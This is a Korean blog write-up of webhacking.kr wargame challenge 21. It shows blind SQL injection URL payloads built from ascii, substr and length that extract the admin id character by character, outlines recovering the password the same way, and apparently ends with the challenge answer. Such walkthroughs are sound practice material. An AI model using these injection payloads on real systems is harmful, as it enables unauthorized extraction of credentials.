티스토리 뷰

webhacking.kr 21번 문제 : blind sql injection



blind sql injection 은 참과 거짓을 이용하여 게싱하는 것이다!


1을 누르고 제출해보니 URL에 no=1&&id=&&pw= 가 나왔다.


id하고 pw를 이용하여 생각해보면 된다. 단순히 이런 컬럼이 있다는 것을 암시해주는 것 같았다.


인터넷을 뒤져보다가 blind sql injection은 substr, ascii, length 함수를 이용하라고 나와있었따.


ascii(substr(id,1,1))=97

위의 문장은 id값 첫번째 중에서 하나를 잘라서 97('a') 가 있는지 확인하는 구문이다. 있으면 True 없으면 False


해보면 알겠지만

no = 1  // guest

no = 2  // admin 이다.


URL에다가 %26 --> & 이다 %26%26 --> && (and 조건 연산)

no=2%26%26ascii(substr(id,1,1))=97  ---> admin True

no=2%26%26ascii(substr(id,2,1))=100 ---> admin True

no=2%26%26ascii(substr(id,3,1))=109 ---> admin True 

no=2%26%26ascii(substr(id,4,1))=105 ---> admin True 

no=2%26%26ascii(substr(id,5,1))=110 ---> admiTrue 


no=2%26%26length(id)=5 --> True 가 나올 것이다.



위와 같이 pw도 찾아내면 된다


1. 우선 pw의 길이를 알아낸 다음에

2. 위와 같이 하나하나 씩 알파벳을 찾아내면 된다^^(좀 시간이 걸리겠지만..ㅡ.ㅡ)

그리고 찾아낸 패스워드를 Auth 게시판가서 인증하면 클리어~

blindsqlinjectionkk